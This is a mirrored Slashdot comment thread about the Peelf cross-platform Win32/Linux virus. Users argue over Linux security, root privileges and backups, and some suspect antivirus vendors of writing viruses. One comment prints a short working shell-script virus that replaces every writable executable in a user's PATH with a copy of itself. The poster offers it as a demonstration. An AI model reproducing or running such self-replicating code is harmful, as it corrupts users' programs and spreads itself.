Slashdot Mirror


Win32/Linux Cross-Platform Virus

An Anonymous Coward writes "Symantec reports on the first virus to infect both ELF and PE binaries on Linux and Win32. "The first Win32/Linux cross-infector, {Win32,Linux}/Peelf, uses two separate routines to carry out the infection on PE and ELF files. This variant of Simile shares a substantial amount of code between the two infection functions, such as the polymorphic/metamorphic engines, the only platform-specific parts being the directory traversal code and the API usage.""

175 of 497 comments (clear)

  1. why i love my mac by Anonymous Coward · · Score: 2, Funny

    No crossingover to this platform

    1. Re:why i love my mac by Anonymous Coward · · Score: 3, Funny

      No crossingover to this platform

      You mean virues, or software in general?

    2. Re:why i love my mac by WildBeast · · Score: 2

      My OS/2 WARP machine is still virus free since 1997. I just can't believe how secure it is :)

    3. Re:why i love my mac by npietraniec · · Score: 2, Funny

      My Linux/Windows Boxes have been virus free because I'm not retarded enought to "Click here for sexy virgins!"

      Actually, on the linux side, Having an inherently more secure OS with almost no viruses out for it helps too... But nothing is totally secure.

    4. Re:why i love my mac by Subcarrier · · Score: 4, Funny

      My Linux/Windows Boxes have been virus free because I'm not retarded enought to "Click here for sexy virgins!"

      This one is not sexually transmitted.

      --
      "I have opinions of my own, strong opinions, but I don't always agree with them." -- George H. W. Bush
    5. Re:why i love my mac by MaxVlast · · Score: 2

      New versions of the Microsoft 'solutions' get them within weeks.

      --
      There should be a moratorium on the use of the apostrophe.
      Max V.
      NeXTMail/MIME Mail welcome
    6. Re:why i love my mac by josh+crawley · · Score: 2

      Umm, dont you mean "Crash here for sexy virgins!"

    7. Re:why i love my mac by Anonymous Coward · · Score: 2, Funny


      Yes, it appears that virus' only infect computers. Other household appliances, such as refrigerators and your Photoshop machines, are unaffected.

    8. Re:why i love my mac by edwdig · · Score: 2

      You don't get STDs from virgins.

    9. Re:why i love my mac by xtremex · · Score: 2

      I read about this trojan on Linuxtoday 2 days ago..there are only 21 known cases of it. And it's ONLY possible under root. They don't even explain how a person can get it...plus the article is FROM symantec! Ever think they may have created it, along with the other 1,000 viruses? A good way for them to sell more av software. Symantec probably hates Linux more than MS does.

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
    10. Re:why i love my mac by hawk · · Score: 2
      >It doesn't really exist.


      correct. Linux is just another microsoft astroturf campaign in an effort to convince the DoJ that there's competition out there :)


      hawk

  2. One more reason... by forged · · Score: 3, Redundant

    ...not to be logged in as root. At least the typical Linux user can limit the damage this way.

    1. Re:One more reason... by gmack · · Score: 2

      You mean SUID root and you need to be root to write to those files in the first place... so the original statement was correct: not running as root will limmit the possible damage.

    2. Re:One more reason... by Anonymous+Cowrad · · Score: 4, Insightful

      Sure you can limit it, but losing ~ is still a bitch. If anything, I'd rather lose everything but ~ because that's where my files are changing all the time. Everything else is fairly static, so rolling back to yesterday's backup isn't so bad.

      --

      --
      pants ahoy
    3. Re:One more reason... by RealUlli · · Score: 2, Informative
      There are hundreds of applications on the system that are CHROOT'ed, that is have access as root when executed.

      You mean setuid(root). Chroot means the root-directory of the software is changed, in effect putting it in a rather secure sandbox...

      If one of these hundreds of apps were to become infected (chances are fair to good), than you can kiss your entire system good-bye.

      No, they aren't. If the virus manages to infect one of these binaries, it already *has* root, so it can infect any other binary, too. Basically, it depends on if the virus is able to execute a local root compromise, which is easier than remote, but not *that* easy.

      Regards, Ulli

      --
      Simple things should be simple, complex things should be possible.
    4. Re:One more reason... by garett_spencley · · Score: 2, Offtopic

      Man, if I had mod points right now I'd mod you a troll even though your point is right.

      So they guy didn't know and he was ignorant. Ignorace != stupidity and it was rude of you to call him a fucking retard.

      I'm sorry but in my eyes you're the fucking retard.

      --
      Garett

    5. Re:One more reason... by forged · · Score: 2
      The point of my post was that it is fairly unlikely that your suid root server application will be surfing the web, download the binary and launch the program. If the infected file is downloaded to your PC and ran, that's exactly because it will be _downloaded_ by some user and ran. If some user != root then you can limit the damage substantially.

      Now if you're logged in as root and you download & run the infected file as root, then any of your applications (incl. the suid which you are refering to) will potentially spread the virus further, but that's already beyond the point of initial infection.

    6. Re:One more reason... by garett_spencley · · Score: 5, Insightful

      Someone else already mentioned this but I'll say it again.

      There is no difference as far as I'm concerned as losing my entire system or losing my home directory. You're right that at least if you don't use the root account to catch the virus only your own files would be destroyed but really the files in my home directory are the only files that I care about getting destroyed.

      It only takes me about 10-15 minutes the get my system back up if I had to reinstall. It's all my personal files that can't be replaced that would make the experience traumatic.

      --
      Garett

    7. Re:One more reason... by walt-sjc · · Score: 4, Interesting

      Hundreds? Not hardly.

      On my debian system:
      # find / -perm +u+s -uid 0 -ls | wc -l
      27

      And on Redhat 7.3, 42

      Hundreds. Bah. Please do some research before you spread FUD.

      Chroot apps are heavilly scrutinized for security issues. Many even give up root permission after doing whatever they absolutely need to do as root.

      You would have to find a chroot app that had an exploitable buffer overflow problem to begin with. The virus would have to specifically be written to exploit that particular bug in that particular application. This is non-trivial.

      From Semantec: "So far Symantec has not received any submissions of this virus from customers."

      So how did symantec find the virus? Who had it? How did they get it? How is it spreading?

      Many people have suspected for YEARS that virus companies manufacture viruses to sell their products. I'm not saying they are, but this smells VERY fishy. I'd like some answers.

    8. Re:One more reason... by mosch · · Score: 2
      if you want a list of files on your system that are SUID root, just run this as root:

      find / -type f -user 0 -perm +4000

      and if you want to reduce your exposure, chmod u-s the ones that you don't need to be SUID.

    9. Re:One more reason... by forged · · Score: 2

      My point exactly as far as the last statement goes. Now I even wonder how they got the virus in the first place.... ?!

    10. Re:One more reason... by LordSah · · Score: 2, Offtopic

      Well, if you corrected him calmly and intelligently, you'd be modded up. Then thousands of people would read your post and know the truth. It happens all the time--it's a great way to stimulate discussion here on slashdot. If everyone was as elitist as you, slashdot wouldn't be much fun.

      ignorance does equality stupidity
      BTW, give your posts a once-over in discussions where you're calling other folks retards.

    11. Re:One more reason... by PurpleBob · · Score: 2

      Right! If you're concerned about security, all you need to do is run a command you got off of Slashdot as root!

      (Seriously, why does this need to be root? Is there that big a chance that there would be suid root files under directories that a normal user can't look in?)

      --
      Win dain a lotica, en vai tu ri silota
    12. Re:One more reason... by jred · · Score: 2

      Hmph. I just lost everything in a hard drive failure. The most traumatic was the email.

      --

      jred
      I'm not a mechanic but I play one in my garage...
    13. Re:One more reason... by Darren+Winsper · · Score: 4, Informative

      You could have /home on a seperate partition/drive and use the "noexec" mount option. It disables the execution of binaries on that drive.

    14. Re:One more reason... by Simon+Brooke · · Score: 2
      It only takes me about 10-15 minutes the get my system back up if I had to reinstall. It's all my personal files that can't be replaced that would make the experience traumatic.

      How many ELF files do you have in your personal partition, for heaven's sake? And even if you do, you presumably have the source code as well, or why is it in your personal partition? In any case a quick 'find $HOME -type f -perm +001 -exec chmod a-w {} \;' will solve the problem.

      --
      I'm old enough to remember when discussions on Slashdot were well informed.
    15. Re:One more reason... by garett_spencley · · Score: 2

      I'm not worried about a virus infecting ELF binaries in my home partition. I'm worried about a virus deleting everything upon trigger.

      Anyway taking off the write bit doesn't do anything (on Linux anyway). As long as you're the owner you can still delete it.

      The only solution (as other people have pointed out) is doing regular backups.

      --
      Garett

    16. Re:One more reason... by Tom · · Score: 2

      Of course, you do make backups, right? Well, if you have a backup system worth anything, the backup is done as root, resulting in backup files owned by root.
      Which reduces your problem to 5 min of restore time.

      --
      Assorted stuff I do sometimes: Lemuria.org
    17. Re:One more reason... by autocracy · · Score: 2

      Let me reword that for you - noexec disables the execution of binaries FROM that drive. Programs can still affect it (otherwise what use would it be?)

      --
      SIG: HUP
    18. Re:One more reason... by Master+Bait · · Score: 2, Insightful

      Absolutely right. There is no reason to have binaries in one's home directory, and any that are there are probably only toys. Viral infection due to running an email binary attachment on a unix-based system is not very likely, (save as setuid root? can't be done except on the most lame of lame setups) and thus because of this the article did not mention the method of infection because there is none. I suggest that any panic over this virus be given from Windows users, who's system is completely open and writable systemwide.

      --
      "Only in their dreams can men truly be free 'twas always thus, and always thus will be."
      --Tom Schulman
    19. Re:One more reason... by Tony-A · · Score: 2

      find / -type f -user 0 -perm +4000
      Right! If you're concerned about security, all you need to do is run a command you got off of Slashdot as root!
      Sure, why not? Much safer than drinking from a "pure" mountain stream. Easier than man find and figuring out the parameters. If there's anything wrong or fishy about the line, there are far too many /.ers who will not pass the opportunity to jump on it. Actually safer than something from a proofread book.

      Suid root files in strange places means you've been cracked.

    20. Re:One more reason... by zeno_2 · · Score: 2
      Fact: "The sample of this virus was sent on 14 Feb 2002 to fourteen different AV companies by the virus author"

      If you call that a fact then I have some vacuum cleaners to sell you =). This info came from a web page, heck, for all we know, one of the AV companies created this thing and sent it to the other companies. Not sure why they would, but I doubt you have done your research yourself.

      Bah. Please do some research before you spread FUD.

      So, your saying that AV companies don't create virus's because you heard on a new story that a sample of some virus was sent at such and such date to 14 companies by the virus author.. Once again just corporate fluff designed for public consumption, and nothing more. This is what it sounds like to me when you boil it down:

      AV Companies: We have released a new definition file for a new virus that came out. The virus was just created by frank here, and if you don't have our product / buy our product you just might get infected *evil laugh*.

      I guess it all comes down to what you call many. The poster said that many people have suspected for years that virus companies manufacture viruses to sell their produts. I think that, ive thought it for a long time. The above poster thinks that as well, so thats 2, and im sure we can find more =).

    21. Re:One more reason... by xtremex · · Score: 2

      I remember, back in 1991 when I was still green in UNIX, I asked somebody on a NG for help with a problem. It was a perl script. He had emailed it to me, and I ran it w/o looking at it. It proceeded to delete my entire home directory (was it /export/home back then? I forget). Everyone needs to do something REALLY stupid like that before they'll learn. That was a valuable lesson to me.

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
    22. Re:One more reason... by Dr.+Evil · · Score: 2

      In windows, this is an NTFS file system permission option.

      It's good to know there is a way to do it in Linux too.

    23. Re:One more reason... by garett_spencley · · Score: 2

      Of course not but that wasn't my point.

      All I was saying was that in general user data is what matters. You can infect all the system files you want and all you'd have to do is re-isntall the OS which is no big deal unless you're running Windows.

      But if user data is destroyed then you better hope you have backups.

      --
      Garett

    24. Re:One more reason... by hawk · · Score: 2
      >There is no reason to have binaries in one's home directory,


      Good heavens, then where am I supposed to put the models I write? Running these is *why* I have fast systems . . .


      hawk

    25. Re:One more reason... by autocracy · · Score: 2

      Definitely true - but I had taken that comment to be in reference to running as root. noexec is definitely a wise option on shell account systems...

      --
      SIG: HUP
    26. Re:One more reason... by joto · · Score: 2

      It is probably a typo. Read suid instead of chroot, and you'll be happy.

    27. Re:One more reason... by joto · · Score: 2
      Given the security off IE, Outlook, and IIS, I wouldn't be very surprised if they own large amounts of stock in some of the AV companies. But then again, that might be considered paranoid.

      At least it's obvious that Microsoft doesn't worry much about their credibility when it comes to technical issues such as this, and experience shows that the customers doesn't care (at least not with the part of the brain controlling the wallet)

  3. Re:Use the source Luke! by Anonymous+Cowrad · · Score: 5, Insightful

    If you read the source. I don't know about you, but I don't have time to go through everything I build with a fine tooth comb looking for nasties.

    Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.

    --

    --
    pants ahoy
  4. More proof by Isaac-Lew · · Score: 4, Insightful
    OK, we're going to trust an anti-virus vendor about a virus/trojan that would be difficult (if not impossible) to spread in the wild? I haven't read *anything* about how this would attack a Linux system (does it cause a buffer overflow? Does it edit a system config file? Do you need to somehow accidentally execute an email attachment?).

    I think that this was cooked up in Symantec's labs in order to scare people & possibly serve as an ad for their software, especially if they have a "solution" that runs on Linux.

    1. Re:More proof by Corgha · · Score: 4, Insightful

      (had to post this as "Code" to get around the lame lameness filter)

      I think you've got a good point. To quote Symantec:

      "So far Symantec has not received any submissions of this virus from customers."

      For any OS, there will always be code which, when run with the appropriate privileges, can cause some damage. That's why viruses are mainly a social problem. Just to prove how pointless this all is, here's my first simple-minded attempt a writing a Linux virus:

      #!/bin/sh
      (
      for file in `find \`echo $PATH | sed 's/:/ /'\` -xdev -type f` ; do
      if [ -x $file -a -w `dirname $file` -a ! -e `dirname $file`/.`basename $file`.orig ] ; then
      mv -f $file `dirname $file`/.`basename $file`.orig && cp -f $0 $file
      fi
      done
      ) > /dev/null 2>&1 &

      echo '1 4m 4 rh347 h4x0r! ph33r my b45H s|<|11z!'
      [ -x `dirname $0`/.`basename $0`.orig ] && \
      exec `dirname $0`/.`basename $0`.orig "$@"

      ta-da! a trivial example of a "virus" that "infects" all executables in a user's PATH, and works even on non-x86 machines and UNIX machines with shellutils installed (with a little sed work, even that requirement could be removed).

      What does this prove? Nothing. Neither does this Simile virus, until it starts mailing itself to people and popular Linux email clients start automatically executing attachments in the preview pane.

      Of course, with all the idiots I see sending out mail as root, maybe this isn't too far off.

    2. Re:More proof by gad_zuki! · · Score: 2

      I think that this was cooked up in Symantec's labs in order to scare people & possibly serve as an ad for their software, especially if they have a "solution" that runs on Linux.

      That's the most paranoid thing I've seen here. Do you really think Symantec is going to risk its entire profitable operation just to piss off some self-important Linux users? I seriously doubt an organization that large is capable of keeping such secrets especially when it would be such a great story to sell to the media.

      If we're going to be calling out the chicken-littles well why was this posted when its threat level according to symantec is low? I think this has more of academic interest than anything else. If you're going to blame anyone, blame slashdot for posting a low-threat virus. Symantec is doing its job and I see no wrong doing on their part. I also don't think slashdot is doing any wrong, its really the invetible conspiracy theorists like yourself who are putting a negative spin here.

      There's no reason for any anti-virus vendor to bother starting their own viruses. There are just too many kiddies willing to do it for free. Ironically, the DIY computing culture is also notorious for defending all sorts of exploratory cracking for the sake of the thrill or to see if it can be done. If you have conspirators I'm sure they're from Linux's own backyard and probably not from Symantec's labs.

    3. Re:More proof by nagora · · Score: 2
      You are not cynical enough.

      There's no reason for any anti-virus vendor to bother starting their own viruses.

      Apart from the money, that is.

      There are just too many kiddies willing to do it for free.

      Look at the list of known viruses for these programs some time, they are HUGE. That needs a lot of people who are mostly well beyond skiddie level.

      TWW

      --
      "Encyclopedia" is to "Wikipedia" what "Library" is to "Some people at a bus stop"
    4. Re:More proof by gad_zuki! · · Score: 2

      Don't quote me out of context.

      "If you have conspirators I'm sure they're from Linux's own backyard and probably not from Symantec's labs."

      Notice the IF.

    5. Re:More proof by Grax · · Score: 2

      Good point about the context.

      The logic still doesn't hold up.

      Your point as I see it.
      if (conspiracy) {
      linux_backyard_guilty = true;
      }

      My point.
      if (conspiracy) {
      if (follow_money() != dead_end) {
      symantec_guilty = true;
      }
      if (linux_backyard_check() != dead_end) {
      linux_backyard_guilty = true;
      }
      }

      It is possible for both Symantec and Linux Backyard to be guilty or for neither to be guilty.

  5. This is great news! by Mordant · · Score: 5, Funny

    While working to convince many of my friends and colleagues to give Linux a try, one of the most vexing hurdles I've come across is the following:

    Me: "Dude, you should really try Linux! It's fast,
    it's free, it's really secure - and, best of
    all, you get all the source code, so you can
    see how it -really- works, and even contribute
    your own code, if you want."

    Dude: "Is there antivirus software for Linux?"

    Me: "Well, no - Linux doesn't have viruses,
    per se, so there's no need for antivirus
    software!"

    Dude: "My bosses won't let us run any boxes
    which don't have antivirus software
    installed. Let me know when I can buy
    antivirus software for Linux."

    So, now that we have virii on Linux, we'll soon have antivirus software, and I can show my friends yet another way in which Linux has caught up with Windows!

    1. Re:This is great news! by gmack · · Score: 4, Interesting

      weve had that for awhile.. so the PHBs could have been happy for months. openantivirus.org for starters and there are plenty more.

      Nice to run on Linux mailservers.

    2. Re:This is great news! by mosch · · Score: 3, Informative

      There's actually lots of anti-virus software for *nix, though sometimes it's hard to purchase. Typically it's used to scan data that may be passed to non *nix machines, via http, ftp or email.

    3. Re:This is great news! by WildBeast · · Score: 2

      I believe that F-Secure has been making anti-virus products for Linux for a long time now.

    4. Re:This is great news! by GoRK · · Score: 3, Informative

      F-Prot is available for Linux (non-commercial use is free) and it's very good. I have even seen it detect viruses that were not in its database yet. Updating my DAT files resulted in my ability to disinfect the virus. It detects and can disinfect about everything. I will scan your .prc and .pdb files for PalmOS viruses, even!

    5. Re:This is great news! by tringstad · · Score: 3, Informative
      Trend Micro, who is one of the better Anti Virus vendors, if not the best, IMHO, has been providing Linux anti-virus software for as long as I have been aware of them:

      http://www.antivirus.com/download/

      --
      "I got a half gallon of Jack, and 2 dozen Ant Traps. I'm about to get wild." -me
    6. Re:This is great news! by 1984 · · Score: 2

      Actually this misses the point. Unless you have a truly baroque machine setup which is unique, undocumented and can't easily be replicated, then protecting the system itself isn't the critical issue. OK, so if you're in an always-on realtime environment then maybe it is, but then you shouldn't be relying on "unique" anything.

      Otherwise the only difference between a virus clobbering you as root or as a user is that you likely lose n users data as root, and likely only one if it's a user. Yes, that means you shouldn't run everything as root, but it's the *data* that's important, not the system. Ask your boss whether he cares more about needing to have IS reinstall his machine, or that he might lose all his personal data from it.

    7. Re:This is great news! by plumby · · Score: 2

      It may sound daft, but it's not a totally unreasonable stance. One of the features of most antivirus products is that they can give daily updates for newly found viruses, so in theory you are permanently protected. You may be running an OS that has no viruses today, but however confident you may be, there is no way that you can guarantee that there will never be a virus for it, and without something that would update and protect you if this did happen, how can you be sure that you are safe?

      I'm not claiming that you he's right and that you should be running antivirus software, but I can at least see where your "dude" was coming from.

    8. Re:This is great news! by suwain_2 · · Score: 2

      though sometimes it's hard to purchase.

      I'm sure none of the developers would mind selling you a copy of their GPLed software, if you really had an urge to pay for it. *grin*

      --
      ________________________________________________
      suwain_2 :: quality slashdot p
    9. Re:This is great news! by WetCat · · Score: 2, Informative

      There IS antivirus software for linux,
      for example good ones can be bought at
      www.kaspersky.com

    10. Re:This is great news! by Znork · · Score: 2

      The problem with todays worm hybrids is that the 'permanent' protection often turns out to be 'the protection you needed yesterday today'. Most large corporations suffering from the mail worms do have extensive virus protection. The daily updates are a day late. Which leaves you pretty much permanently vulnerable.

      Virus protection software just isnt enough. Disallowing any form of executable attachments (including any and all forms of documents that can or do support macro languages), and securing systems with privilidge based access to executables will get you much more security. Of course you'll have to keep up good standard practices of minimum running services and frequent patching too.

    11. Re:This is great news! by YU+Nicks+NE+Way · · Score: 2

      No virus that ever ran on Unix? Three words: the Morris worm.

    12. Re:This is great news! by Bob+Uhl · · Score: 2
      The Morris worm wasn't a virus but a worm. Viruses spread from file to file, generally because the OS is fooled into executing code when it attempts to read a file. Trojan horses are individual programs manually executed by a foolish user and which do evil things. Worms spread from host to host over a network.

      Viruses are possible under Unix, but you'd have to trick root into running them.

    13. Re:This is great news! by Shirotae · · Score: 2

      Read Fred Cohen's paper Computer Viruses - Theory and Experiments published in 1984. The original experiments that demonstrated the threat of viruses were done on Unix.

  6. Linux get's by incom · · Score: 4, Funny

    more and more windows fucntions everyday. Hopefully this new feature encourages some more switchover to linux.

    --
    True genius is grasping a situation like a peice of fruit, and peircing it just right so that it drains dry.
  7. Re:Use the source Luke! by Anonymous Coward · · Score: 5, Informative

    Running ./configure can be just as bad if you aren't extremely careful. The monkey.org server was compromised last week, the security tools hosted on the site had backdoors placed into their configure scripts, and almost a thousand people were hit with it...

    url: http://online.securityfocus.com/archive/1/274927

  8. Not the first by kill-hup · · Score: 5, Informative
    This is not the first cross-platform Win/Linux virus: http://vil.nai.com/vil/content/v_99060.htm.


    It is the first to use pretty much the same injection code routines for both, though. The previous virus I referenced had two separate infection routines for PE and ELF files.

    --
    Sinepaw.org: Grape Winos
  9. Re:Use the source Luke! by Anonymous Coward · · Score: 2, Insightful

    Do you read over the entire source code for all of the apps you install? If not, what's not to keep someone from incoporating the source code for this, or some other virus, directly into the source code for one of the apps you installed via (./configure; make; make install)?

  10. Another excuse for AV companies to make money by forged · · Score: 2
    • So far Symantec has not received any submissions of this virus from customers.

    Nonetheless you are encouraged to update your virus definition files to the latest and greatest. And for you who don't have an anti-virus software yet, this was the subliminal message in the announcement that you need to buy one !

  11. Re:Use the source Luke! by innocent_white_lamb · · Score: 5, Insightful

    Do you read over the entire source code for all of the apps you install?

    You forgot to include "and completely understand" in the above quotation.

    We all know (I'm sure) that the function of a routine isn't always obvious. And especially if someone is trying to hide a routine, the functionality could be made very un-obvious.

    A complete source code audit for any major application would be far more labourious than any individual would have the time to undertake in most circumstances.

    --
    If you're a zombie and you know it, bite your friend!
  12. Re:Use the source Luke! by Lardmonster · · Score: 3, Insightful

    Are you sure you can trust your compiler? http://www.acm.org/classics/sep95/

    --
    The more advanced the technology, the more open it is to primitive attack
  13. Two Sided Sword by Myuu · · Score: 5, Funny

    [root@bigassopendomain /]./virus
    "virus" requires the following dependancies
    libinfect.so
    libcrash.so
    please check the path and filenames and try again
    [root@bigassopendomain /]

    --

    forget it.
  14. x86 Platforms Only? by Anonymous Coward · · Score: 4, Funny

    Well, looks like this does not affect those using Linux on PowerPC, Sun, or any of the other platforms supported.

    On a lighter note, if this virus were open source it would compile to the other platforms. Someone should post a link to the Sourceforge page, with links to source tarballs as well as Debian and RPM packages.

  15. So, how the infection... by dikappa · · Score: 2, Insightful

    .. is supposed to spread around?

    Infected win executables run on windows, ELF executables run under linux.. I don't think there are that many programs crossing the wall between the two platforms.

    But probably i'm forgetting about wine, vmware and dual-boot machines ;P

    --
    :dikappa
    1. Re:So, how the infection... by overshoot · · Score: 2
      As stated, it scans networks looking for infectable files. The process would go something like this:
      1. 1D10T introduces some kewl "screensaver" or whatever to a Win98 notebook while traveling
      2. Goes home, lights up infected machine on corporate network
      3. Machine spots some -rwxrwxrwx file on the network
      4. Which is later executed by unsuspecting Linux user
      5. For real fun, the mysadmin who let a world-writable executable exist invokes it while su root.
      Alas, far too many *nix networks still have the implicit assumption that all of the machines connected to them are securely maintained. I know of at least one very large company where any machine on the network can get root NFS access by just spitting out the right packets -- and there are Win98 machines on the same network.
      --
      Lacking <sarcasm> tags, /. substitutes moderation as "Troll."
  16. Re:Use the source Luke! by djmurdoch · · Score: 3, Insightful

    No, you dumbass. that would be true if you were the only one who wants to install a program. However, it isn't so. YOU might not look in the code, but OTHERS do.

    And why worry about downloading binaries? Even if you don't scan them for viruses, others do.

  17. Re:No one has ever been infected? by martissimo · · Score: 2

    is rather suspicious. If no-one has ever reported this virus, does it mean that Symantec created it?


    it probably means that the first reports of the virus came from a non-symantec customer, and they just found out about it elsewhere.

  18. This thing violates the GNU licence! by Subcarrier · · Score: 2, Funny

    So this virus thing links against my GNU code, does it?

    Where can I download the source?!?

    --
    "I have opinions of my own, strong opinions, but I don't always agree with them." -- George H. W. Bush
  19. But that's what all the others think too by DABANSHEE · · Score: 2

    They are hoping you checked it.

  20. Source? by gorf · · Score: 2

    So far Symantec has not received any submissions of this virus from customers.

    From this I infer that the virus was not found in the wild. So where from, exactly? I'm thoroughly confused, this makes no sense.

  21. Re:No one has ever been infected? by elvum · · Score: 2, Informative

    No, it could mean that they were sent a copy by a non-customer.

  22. So... by InsaneCreator · · Score: 2, Funny

    When will the virus be available under GPL? :)

  23. Found this by martissimo · · Score: 4, Informative

    at McAfee's website here

    btw the linux version has been known about for a few weeks now according to their dates.

    but anyways when the original variant came out in February they state...

    The sample of this virus was sent on 14 Feb 2002 to fourteen different AV companies by the virus author. In about 2 weeks the virus sample was also circulated in an electronic magazine distributed by 29A virus writing group (version 1b).

    lots of info about what it actually does to windows machines there, but almost nothing about what it does on Linux

  24. how to infect your linux box by wildcard023 · · Score: 5, Informative

    A virus needs to start somewhere. The code doesn't magically appear in your system. In order to get a virus on a Linux box, you need to download an infected binary (or the actual code and compile it) and then run it. Once you run it, it needs to search for another binary that it can infect (has write permissions to) and then modify it.

    The reason that it's hard to infect a Linux (/Unix/anything with a decient permission structure) system is that hardly anyone runs daily activities as root and only updates their /bin, /usr/bin, etc binaries from a known source or from source code. If some user runs the virus, it will only be able to infect files that he has write permissions to and on most Linux boxes (at least the distro's I've seen), users aren't allowed to write to systemwide binaries.

    The virus is "kinda neat" as far as it's ability to infect multiple platforms and avoid detection, but is really "no big deal" to most systems out there. Windoze(tm) users get viruses sent through email (usually via worms) that self execute when they're opened. This infects files that they have write permission to (usually all of them since 9x boxes have no permission structure and most users on NT systems are run in the Administrator's group) and causes system havoc. Since no Linux mail readers that I know of will execute binaries without at least asking, the user would have to specifically download the binary and run it. At that point, all I have to say is "duh".

    So how do you infect your Linux box? On purpose...with a lot of effort. How does this effect the rest of us?

    *pause* *giggles* </Bubbles>

    --
    Mike Nugent

    --
    -- Mike wildcard@illuminatus.org
    1. Re:how to infect your linux box by RelliK · · Score: 3, Insightful
      If some user runs the virus, it will only be able to infect files that he has write permissions to and on most Linux boxes (at least the distro's I've seen), users aren't allowed to write to systemwide binaries.

      There is one distribution where users are always logged in as root. It is called Lindows. In one of the reviews (search old articles on /.) they were actually able to run Outlook viruses and other Microsoft transmitted diseases on Lindows!

      But yeah, you are exactly right about security of Unix vs. Windows. On Unix, regular users are simply incapable of infecting the system even if they wanted to. Windows, however, is stuck in the single-user mentality. It's really a shame cause NT does have filesystem-level security and theoretically, it could be just as secure as Unix. The problem is that most applications *expect* to have complete access to the system, making a locked-down NT largely useless. Everywhere I worked, all the users have Administrator access on their local machine, and always run executable attachments (well, the ones that don't execute automatically that is :-)

      --
      ___
      If you think big enough, you'll never have to do it.
    2. Re:how to infect your linux box by mpe · · Score: 2

      I kind of agree with you here, but I'm not sure it's about "single-user" mentality. It's more about lack of knowledge about how to setup the security in windows (nt, 2000, xp).

      Dosn't really matter, since the problem is with the people who write applications to a single user paradigm. Since Windows (and the vast majority of Windows applications) are closed source there is nothing any administrator to address the problems.

  25. Yep by DABANSHEE · · Score: 2

    I've never use anti-virus stuff & I've never got them.

    Which people ask me what anti-virus software to used. I tell them not to click anything they're not sure about. Especially file attachments with a 'X' or 'V' in the file extention.

    Don't use outlook

    & make sure 'veiw file extensions' or whatever is enabled in Windows explorer's view menu options. So they arn't tricked by a holidaypic.jpg.ocx or whatever attachment

  26. Re:Use the source Luke! by krogoth · · Score: 2

    On the other hand, if it's known that the source is infected the source code of the virus will be available to everyone, and that would stop it pretty fast. This is probably not the kind of think the virus writer wants.

    --

    They that quote Benjamin Franklin on liberty and safety deserve neither.
  27. Cool! by mindstrm · · Score: 5, Interesting

    Now.. if only we could get those same brilliant minds working on a compiler that produces a single executable that works on both platforms, and shares as much code as possible.

  28. Re:Use the source Luke! by ParisTG · · Score: 2
    This is so not true. It works in theory, but unless you can de-compile your compiler at the same time, to look for hidden code, then you're just as screwed.

    Just take a look at this article for proof. Basically, the trojan doesn't even show up in the source code at all, but it still exists.

  29. Finally software writers get it right. by athakur999 · · Score: 5, Funny

    Usually when a company releases a software package, it comes out on Windows first. Those running Linux usually have to wait a few months for a Linux port to be released, if it ever does at all.

    I praise this virus writer for releasing Windows and Linux versions of the software simultaneously. If only other companies would follow their lead.

    --
    "People that quote themselves in their signatures bother me" - athakur999
  30. What about compiler infection? by Bellwether · · Score: 2, Informative
    Ken Thompson gave a pretty famous speech called "Reflections about Trusting Trust" that explained how one could use compilers to spread infection to new applications. It was a pretty radical idea at the time.

    It's a little different from standard virus infection, but the techique could be easily modified. Here's a short description of the technique, and here's the full text of the speech (with slides).

  31. Re:Use the source Luke! by rasjani · · Score: 2

    Same thing happened with quite famous Irssi ircclient. Here's the scoop.

    --
    yush
  32. If you dual boot, you're double-screwed by cscx · · Score: 2

    If you mount FAT (and NTFS too?) volumes under linux as read-write, if you get infected under Linux, it will scan your volumes for PE executables as well. It will infect your Windows volume while you're under Linux.

    The thing is that the majority of LInux users (I think) are dual booters, so this would give the virus a prime target to hit.

  33. I'm sure, somewhere... by handsomepete · · Score: 5, Funny

    ...there's a group of people trying to get Windows-only virii to run via wine to see if they can get faster infection times under Linux.

    1. Re:I'm sure, somewhere... by gusnz · · Score: 2

      Yeah, progress is being made on SirCam :).

  34. nonsense by RelliK · · Score: 2

    All the files in my home directory can fit on a single CD with plenty of room to spare. Restoring some files from backup is much much easier than first reinstalling the OS, and *then* restoring some files from backup.

    --
    ___
    If you think big enough, you'll never have to do it.
  35. Re:Use the source Luke! by Beliskner · · Score: 2
    If you read the source. I don't know about you, but I don't have time to go through everything I build with a fine tooth comb looking for nasties.

    Grabbing source and make installing it is about the same as grabbing a binary, as far as security goes. You just don't know what's in there.
    Heh. The vast majority of people don't even check the PGP signatures and correlate the signature with the one on PGP servers. Windozzze users just click Next >> a few times so they have the luxury of time to check PGP signatures and read Terms and Conds.

    With linux on the other hand, I know that after a make install and spending 6 hours tweaking the makefile that I don't notice the terms and conds flashing on my screen 100 times, I just regard it as 75Hz monitor flicker. After such an arduous install I'm not even going to notice a kernel panic! Now as for checking >10,000 lines of C++ piped into Java piped into a 100,000 line Perl script... *Somehow* I don't think even Linus would read it all.

    Pop quiz hotshot - what if I hack into redhat.com and change one line in the depths of the linux kernel in the distro file to open up port 7876 whenever (systemtime mod 1000)==0 ? Who'd notice?

    --
    A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
  36. A True Test by PRickard · · Score: 4, Insightful

    A lot of people have said Linux has fewer viruses than Windows only because Linux isn't as widely used... Well, this is the chance to do some comparisons. How devastating is the cross-platform virus to each system, and how fast does it spread on each?

    Also note that it's a virus, not a security hole or flaw in the system - this doesn't make Linux less secure like a Melissa-type problem that takes advantage of holes made by one company's stupid software bundling decisions.

    --

    == Paul Rickard, Editor of The Microsoft Boycott Campaign ====

    1. Re:A True Test by demaria · · Score: 2

      Because of the massive number of Windows users compared to Linux users on desktops (some 95% to 0.25% last I heard), this statistic would be completely misleading and inaccurate.

    2. Re:A True Test by hacker · · Score: 2
      This is a common misnomer. These figures of "Linux isn't as widely used as Windows" is based purely on SALES of both operating systems. I would wager that there are countless MILLIONS more units of Linux in use that were downloaded or hand-built versus those sold by distribution manufacturers. Let's also not forget the millions of units being sold with Linux pre-loaded on PDAs (Zaurus), embedded controllers, PIC/PLC, and so on.

      Don't believe the hype.

  37. here's a scary thought... by h4x0r-3l337 · · Score: 5, Insightful

